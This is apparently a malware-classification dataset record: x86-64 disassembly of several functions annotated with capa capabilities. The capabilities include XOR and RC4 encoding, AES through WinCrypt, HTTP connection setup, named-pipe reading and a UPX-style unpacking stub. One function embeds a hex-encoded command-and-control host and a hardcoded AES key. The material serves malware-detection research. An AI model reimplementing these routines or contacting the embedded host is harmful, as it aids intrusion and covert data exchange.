joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001820
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov edi, dword [rdx]
mov r14, rdx
mov rbx, rcx
add edi, 4
mov ecx, edi
mov edx, 1
call fcn.140009d98
mov rsi, rax
test rax, rax
je 0x14000199c
xor ecx, ecx
call fcn.14000a284
mov rcx, rax
call fcn.140009dcc
call fcn.140009da0
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
xor ecx, ecx
inc r8b
mov byte [rsp + 0x38], r8b
call fcn.14000a284
mov rcx, rax
call fcn.140009dcc
call fcn.140009da0
mov r8d, eax
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xfe
sub r8d, ecx
xor ecx, ecx
add r8b, 2
mov byte [rsp + 0x39], r8b
call fcn.14000a284
mov rcx, rax
call fcn.140009dcc
call fcn.140009da0
mov r8d, eax
mov eax, 0x81848da9
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xfd
sub r8d, ecx
xor ecx, ecx
add r8b, 3
mov byte [rsp + 0x3a], r8b
call fcn.14000a284
mov rcx, rax
call fcn.140009dcc
call fcn.140009da0
mov r8d, eax
mov eax, 0x82082083
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xfc
mov edx, dword [r14]
sub r8d, ecx
add r8b, 4
mov byte [rsp + 0x3b], r8b
mov eax, dword [rsp + 0x38]
mov dword [rsi], eax
test edx, edx
je 0x14000198e
mov r8, rsi
mov rax, rbx
sub r8, rbx
nop word [rax + rax]
mov rcx, rax
sub rcx, rbx
and ecx, 3
movzx ecx, byte [rsp + rcx + 0x38]
xor cl, byte [rax]
mov byte [r8 + rax + 4], cl
inc rax
sub rdx, 1
jne 0x140001970
mov rcx, rbx
mov dword [r14], edi
call fcn.14000a2c4
mov rax, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400019c0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x140027008]
xor rax, rsp
mov qword [rsp + 0x78], rax
movups xmm0, xmmword [rcx]
xor edi, edi
mov dword [rsp + 0x58], 0x208
mov rbx, r8
mov dword [rsp + 0x5c], 0x660e
mov r15, rdx
mov qword [rsp + 0x50], rdi
mov ebp, 0x10
mov qword [rsp + 0x40], rdi
lea r9d, [rdi + 0x18]
mov dword [rsp + 0x60], ebp
lea r8, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
mov dword [rsp + 0x48], 1
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x64], xmm0
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001b82
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r8d, [rdi + 0x1c]
xor r9d, r9d
mov dword [rsp + 0x20], edi
lea rdx, [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x140001b82
mov rcx, qword [rsp + 0x40]
lea r8, str.abcdefghijklmnop
xor r9d, r9d
lea edx, [rdi + 1]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x140001b82
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x48]
xor r9d, r9d
lea edx, [rdi + 4]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x140001b82
mov eax, dword [rbx]
lea edx, [rbp - 0xf]
mov edi, eax
mov r14d, ebp
and edi, 0xf
sub r14d, edi
lea r12d, [rax + 0x10]
add r12d, r14d
mov ecx, r12d
call fcn.140009d98
mov rsi, rax
test rax, rax
je 0x140001b82
mov r8d, dword [rbx]
mov rdx, r15
mov rcx, rax
call fcn.1400098c0
mov rcx, r15
call fcn.14000a2c4
test edi, edi
je 0x140001b3b
mov ecx, edi
mov edx, 1
sub rbp, rcx
mov rcx, rbp
call fcn.140009d98
mov r15, rax
test rax, rax
je 0x140001b82
test r14d, r14d
jle 0x140001b20
mov rdi, rax
mov rcx, rbp
mov eax, 0x41
rep stosb byte [rdi], al
mov ecx, dword [rbx]
mov r8, rbp
add rcx, rsi
mov rdx, r15
call fcn.1400098c0
add dword [rbx], r14d
mov rcx, r15
call fcn.14000a2c4
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x30], r12d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
lea r8d, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140001b82
mov rcx, qword [rsp + 0x40]
add dword [rbx], 0xfffffff0
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rax, rsi
jmp 0x140001b84
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140008040
add rsp, 0x80
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001c90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, edx
mov rdi, rcx
test edx, edx
jne 0x140001cb9
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x140001cb0
mov r8d, dword [0x140029ce0]
mov eax, r8d
test r8d, r8d
jne 0x140001d07
xor ecx, ecx
call fcn.14000a284
mov rcx, rax
call fcn.140009dcc
call fcn.140009da0
mov r8d, eax
mov eax, 0x68db8bad
imul r8d
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2710
sub r8d, ecx
inc r8d
mov dword [0x140029ce0], r8d
mov eax, r8d
xor edx, edx
test ebx, ebx
je 0x140001dad
cmp ebx, 0x40
jb 0x140001d8f
movsx eax, al
mov r10d, ebx
and r10d, 0xffffffc0
mov r9d, 0x20
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
nop word [rax + rax]
movdqu xmm0, xmmword [rdx + rdi]
lea eax, [r9 - 0x10]
pxor xmm0, xmm1
movdqu xmmword [rdx + rdi], xmm0
add edx, 0x40
movdqu xmm0, xmmword [rax + rdi]
pxor xmm0, xmm1
movdqu xmmword [rax + rdi], xmm0
mov eax, r9d
movdqu xmm0, xmmword [rax + rdi]
pxor xmm0, xmm1
movdqu xmmword [rax + rdi], xmm0
lea eax, [r9 + 0x10]
add r9d, 0x40
movdqu xmm0, xmmword [rax + rdi]
pxor xmm0, xmm1
movdqu xmmword [rax + rdi], xmm0
cmp edx, r10d
jb 0x140001d40
mov eax, ebx
cmp edx, ebx
jae 0x140001daf
mov ecx, edx
add rcx, rdi
sub eax, edx
mov edx, eax
nop
xor byte [rcx], r8b
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140001da0
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140002bd0
Capabilities:
Get file size

Disassembly:
push rbx
push rdi
sub rsp, 0x48
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rdi, rcx
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140002c26
xor r9d, r9d
lea ecx, [rax + 0x29]
xor r8d, r8d
mov rdx, rdi
call fcn.140005a90
add rsp, 0x48
pop rdi
pop rbx
ret
mov qword [rsp + 0x60], rbp
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x70], rsi
mov rcx, rbx
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x40], r15
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140002d6a
mov rbp, qword [rsp + 0x68]
mov ecx, 0xfffffffe
lea rax, [rbp - 1]
cmp rax, rcx
ja 0x140002d57
mov edx, 1
mov ecx, 0x800
call fcn.140009d98
mov rsi, rax
test rax, rax
je 0x140002d6a
xor r9d, r9d
mov r8, rax
mov edx, 0x800
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r15d, eax
lea ecx, [r15 - 1]
cmp ecx, 0x7ff
ja 0x140002d50
mov ecx, 0x18
call fcn.14000c564
mov rdi, rax
test rax, rax
je 0x140002d6a
mov r8d, dword [0x14002bcb0]
mov edx, 1
mov rcx, qword [0x14002bca0]
mov dword [rax], r8d
inc r8d
mov qword [rax + 0x10], rcx
mov ecx, 0x1000
mov dword [0x14002bcb0], r8d
mov qword [rax + 8], rbx
mov dword [rax + 4], ebp
mov qword [0x14002bca0], rax
call fcn.140009d98
mov r14, rax
test rax, rax
je 0x140002d6a
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, dword [rdi + 4]
mov ebx, eax
call qword [sym.imp.WS2_32.dll_htonl]
mov r8d, r15d
mov dword [r14], ebx
lea rcx, [r14 + 8]
mov dword [r14 + 4], eax
mov rdx, rsi
call fcn.1400098c0
lea edx, [r15 + 8]
mov r8d, 2
mov rcx, r14
call fcn.140004970
mov rcx, rsi
call fcn.14000a2c4
mov rcx, r14
call fcn.14000a2c4
jmp 0x140002d73
mov ecx, 0x3d
jmp 0x140002d5c
mov ecx, 0x3c
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call fcn.140005a90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x60]
mov r15, qword [rsp + 0x40]
add rsp, 0x48
pop rdi
pop rbx
ret
Function at 0x140003370
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov rdi, r8
mov ecx, dword [rcx]
mov ebx, edx
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebp, eax
mov edx, 1
lea ecx, [rbp + 1]
call fcn.140009d98
mov rsi, rax
test rax, rax
je 0x1400034ad
mov qword [rsp + 0x40], r15
lea rdx, [r14 + 4]
mov r8d, ebp
mov rcx, rax
mov r15d, ebp
call fcn.1400098c0
mov rdx, rdi
mov rcx, rsi
call fcn.14000a39c
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000343e
sub ebx, ebp
mov edx, 1
sub ebx, 4
mov ecx, ebx
mov ebp, ebx
call fcn.140009d98
mov rbx, rax
test rax, rax
jne 0x14000340c
mov rcx, rsi
call fcn.14000a2c4
mov rcx, rdi
call fcn.14000a42c
jmp 0x1400034a8
lea rdx, [r14 + 4]
mov r8, rbp
add rdx, r15
mov rcx, rbx
call fcn.1400098c0
mov r9, rdi
mov r8, rbp
mov edx, 1
mov rcx, rbx
call fcn.14000c160
mov rcx, rdi
call fcn.14000a42c
mov rcx, rbx
jmp 0x14000349b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 1
mov ecx, 0x800
mov ebx, eax
call fcn.140009d98
mov r14, rax
test rax, rax
je 0x1400034a0
mov ecx, 8
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, ebx
mov edi, eax
call qword [sym.imp.WS2_32.dll_htonl]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.WS2_32.dll_htonl]
mov edx, ntohl
mov dword [r14], edi
mov rcx, r14
mov dword [r14 + 4], ebx
mov dword [r14 + 8], eax
lea r8d, [rdx + 0x13]
call fcn.140004970
mov rcx, r14
call fcn.14000a2c4
mov rcx, rsi
call fcn.14000a2c4
mov r15, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140003a50
Capabilities:
Connect to http server
Create http request

Disassembly:
push rsi
push rdi
push r14
sub rsp, 0x40
mov rsi, rdx
mov rdi, rcx
xor r14d, r14d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rdi], rax
test rax, rax
jne 0x140003a88
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
mov r9d, 4
mov qword [rsp + 0x68], rbx
lea r8, [rsp + 0x60]
mov dword [rsp + 0x60], 0x2bf20
mov rcx, rax
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov rcx, qword [rdi]
lea r8, [rsp + 0x60]
mov r9d, 4
lea edx, [r9 + 2]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov ecx, 0x28
call fcn.14000c564
mov rbx, rax
test rax, rax
je 0x140003bd8
lea rax, str.7365617263682e6b6172657373652e636f6d2e636e
mov qword [rsp + 0x70], rbp
mov qword [rbx], rax
mov rcx, rbx
lea rax, str.KDI_5_kkdxkYWzlA_tVuozM9R_3PY9_Za3w7PDtpffnvJirSxADM_BwWZckCQW0cbDPGFYtmLozATP2_1eZYE_tbdq3KNT7SsNyqnt_Tq
mov dword [rbx + 8], 0x1bb
mov qword [rbx + 0x10], rax
lea rax, str.366c4d666689a0578c749257be82
mov qword [rbx + 0x18], rax
lea rax, [0x14002bc60]
mov qword [rbx + 0x20], rax
call fcn.140005720
mov rcx, qword [rdi]
mov rbp, rax
test rax, rax
je 0x140003ba4
movzx r8d, word [rbx + 8]
xor r9d, r9d
mov qword [rsp + 0x38], r14
mov rdx, rax
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r14
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rcx, rbp
mov qword [rsi], rax
call fcn.14000a2c4
mov rcx, qword [rsi]
test rcx, rcx
je 0x140003ba1
mov rdx, rbx
mov dword [0x14002bc98], 0x84cc3300
call fcn.140005b70
test eax, eax
je 0x140003bbf
cmp eax, 2
jne 0x140003b98
mov eax, dword [0x140027a58]
mov dword [0x140029ce8], eax
mov dword [0x140027a58], 0x1b7740
mov dword [0x140027a54], r14d
mov rcx, qword [rsi]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rdi]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
mov rbp, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
mov rcx, rbx
mov dword [0x140027a54], 1
call fcn.14000a2c4
mov eax, 1
jmp 0x140003bac
mov rcx, qword [rdi]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x140005720
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x140027008]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov r10, qword [rcx + 0x18]
mov rdi, rcx
mov rcx, qword [r10]
test rcx, rcx
je 0x1400057eb
movzx eax, byte [0x1400222df]
lea rsi, [0x140029cf0]
xor ebx, ebx
mov r11d, ebx
mov r8, rbx
mov r9, r10
test rcx, rcx
je 0x140005795
mov rcx, rbx
mov rdx, qword [rcx + r10]
cmp byte [rdx], al
jne 0x14000580e
mov r9, qword [rdi + 0x18]
inc r8
inc r11d
cmp qword [r9 + r8*8], rbx
lea rcx, [r8*8]
jne 0x140005771
mov rcx, qword [0x140029cf0]
mov rdx, rbx
mov r10, r9
test rcx, rcx
je 0x1400057df
mov r8, rbx
mov r9, rsi
nop dword [rax]
mov rax, qword [rdi + 0x18]
lea rdx, [rdx + 1]
mov qword [r9], rbx
mov qword [r8 + rax], rcx
lea r8, [rdx*8]
mov rcx, qword [r8 + rsi]
lea r9, [r8 + rsi]
test rcx, rcx
jne 0x1400057b0
mov r10, qword [rdi + 0x18]
movzx eax, byte [0x1400222df]
mov rcx, qword [r10]
test rcx, rcx
jne 0x140005760
mov rcx, qword [rdi]
call fcn.140001bb0
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140008040
add rsp, 0x130
pop rdi
pop rsi
pop rbx
ret
mov qword [rsp + 0x158], rbp
mov rbp, 0xffffffffffffffff
movsxd rax, r11d
mov rsi, rbp
mov qword [rsp + 0x160], r14
mov rcx, qword [r9 + rax*8]
nop
inc rsi
cmp byte [rcx + rsi], bl
jne 0x140005830
shr esi, 1
call fcn.140001bb0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x100
mov r14, rax
call fcn.140009150
mov rdx, qword [rdi + 0x10]
inc rbp
cmp byte [rdx + rbp], bl
jne 0x140005858
mov r8, rbp
lea rcx, [rsp + 0x20]
call fcn.140001dc0
mov rbp, qword [rsp + 0x158]
mov r10d, ebx
test esi, esi
je 0x1400058d7
mov r9, r14
mov r11d, esi
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx + 1]
movzx ebx, al
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x20]
lea r9, [r9 + 1]
movzx r8d, byte [rdx + rbx]
lea eax, [r10 + r8]
movzx r10d, al
movzx eax, byte [rcx + r10]
mov byte [rdx + rbx], al
mov byte [rcx + r10], r8b
movzx eax, byte [rdx + rbx]
add r8, rax
movzx eax, r8b
movzx ecx, byte [rsp + rax + 0x20]
xor byte [r9 - 1], cl
sub r11, 1
jne 0x140005890
mov rax, r14
mov r14, qword [rsp + 0x160]
jmp 0x1400057f3
Function at 0x140005ec0
Capabilities:
Read file on windows
Read pipe

Disassembly:
push rdi
sub rsp, 0x50
mov rdi, qword [0x14002bca8]
test rdi, rdi
je 0x140006065
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rsi
xor esi, esi
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r15
mov edx, 1
mov ecx, 0x80000
call fcn.140009d98
mov r15, rax
test rax, rax
je 0x14000604c
mov r14, qword [rdi + 0x28]
mov rbp, rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rsi
mov rcx, r14
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov dword [rsp + 0x60], esi
xor r8d, r8d
mov dword [rsp + 0x68], esi
xor edx, edx
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x140005fb0
cmp dword [rsp + 0x60], esi
jbe 0x140005f9f
cmp ebx, 0x80000
jae 0x140005f9f
mov r8d, 0x80000
mov qword [rsp + 0x20], rsi
sub r8d, ebx
lea r9, [rsp + 0x68]
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140005f9f
mov eax, dword [rsp + 0x68]
xor r9d, r9d
add ebx, eax
mov qword [rsp + 0x28], rsi
add rbp, rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor edx, edx
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x140005f41
test ebx, ebx
je 0x140005fb0
mov r8d, dword [rdi]
mov edx, ebx
mov rcx, r15
call fcn.140004970
mov rcx, r15
call fcn.14000a2c4
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x140005fd7
inc dword [rdi + 8]
cmp dword [rdi + 8], 3
jle 0x140005fd7
mov dword [rdi + 4], esi
mov rdi, qword [rdi + 0x30]
test rdi, rdi
jne 0x140005ef1
mov rbx, qword [0x14002bca8]
test rbx, rbx
je 0x14000604c
cmp dword [rbx + 4], 0
jne 0x140006040
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx + 0x30]
mov rcx, rbx
test rsi, rsi
jne 0x140006035
mov qword [0x14002bca8], rax
call fcn.14000a2c4
mov rbx, qword [0x14002bca8]
jmp 0x140006047
mov qword [rsi + 0x30], rax
call fcn.14000a2c4
jmp 0x140006043
mov rsi, rbx
mov rbx, qword [rbx + 0x30]
test rbx, rbx
jne 0x140005ff0
mov r14, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x30]
add rsp, 0x50
pop rdi
ret
Function at 0x1400068c0
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140027008]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
mov dword [rsp + 0x70], 0
lea rax, [rsp + 0x68]
mov word [rsp + 0x74], 0x500
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
test eax, eax
je 0x140006958
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x60]
test eax, eax
cmove ecx, ebx
mov dword [rsp + 0x60], ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140008040
add rsp, 0x80
pop rbx
ret
Function at 0x14000c814
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14000c5e8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c5e8
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c5e8
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c5e8
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c5e8
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c5e8
cmp dword [rcx + 0xf8], esi
je 0x14000c5e8
mov ecx, r14d
call fcn.14000c730
mov ecx, 2
call fcn.140011dd0
nop
cmp byte [0x1400292b0], 0
jne 0x14000c6b2
mov r15d, 1
mov eax, r15d
xchg dword [0x1400292a0], eax
test ebx, ebx
jne 0x14000c65b
mov rdi, qword [0x140027008]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x1400292a8]
cmp rcx, rax
je 0x14000c652
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.1400088f4]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x1400293f8]
jmp 0x14000c667
cmp ebx, r15d
jne 0x14000c66d
lea rcx, [0x140029410]
call fcn.14000d75c
nop
test ebx, ebx
jne 0x14000c684
lea rdx, [0x14001a558]
lea rcx, [0x14001a538]
call fcn.14000d084
lea rdx, [0x14001a568]
lea rcx, [0x14001a560]
call fcn.14000d084
movzx eax, byte [0x1400292b0]
test esi, esi
cmove eax, r15d
mov byte [0x1400292b0], al
jmp 0x14000c6b2
mov ecx, 2
call fcn.140011e24
test esi, esi
jne 0x14000c6c9
mov ecx, r14d
call fcn.14000c6e4
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000c578
Function at 0x4442d60
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x4442d6d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x4442d7d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x4442d65
lea eax, [rcx + 1]
jmp 0x4442d8b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x4442d9e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x4442d84
sub eax, 3
jb 0x4442dbe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x4442e0d
sar eax, 1
movsxd rbp, eax
jb 0x4442df4
jmp 0x4442dcc
add ebx, ebx
jne 0x4442dca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x4442df4
inc ecx
add ebx, ebx
jne 0x4442dda
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x4442df4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x4442ded
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x4442ddc
add ecx, 2
jmp 0x4442df9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.04442d22
jmp 0x4442d6d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x3ff1000]
mov eax, dword [rdi]
or eax, eax
je 0x4442e6d
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x4042000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x4442e1d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x4442e67
mov qword [rbx], rax
add rbx, 8
jmp 0x4442e3d
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x4442eb1
cmp al, 0xef
ja 0x4442e99
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x4442e79
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x4442e88
mov eax, dword [rdi]
add rdi, 4
jmp 0x4442e88
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.04442f30], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.04442f30
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x4442f20
sub rsp, 0xffffffffffffff80
jmp 0x4014e0
Function at 0x4157e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41596b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432420
xorps xmm15, xmm15
mov r14, qword [0x005c35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x415845
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x415854
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x415873
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x415883
cmp rbx, 0x1000
jae 0x41584b
jmp 0x4158ed
add rsp, 0x48
pop rbp
ret
shr rbx, 1
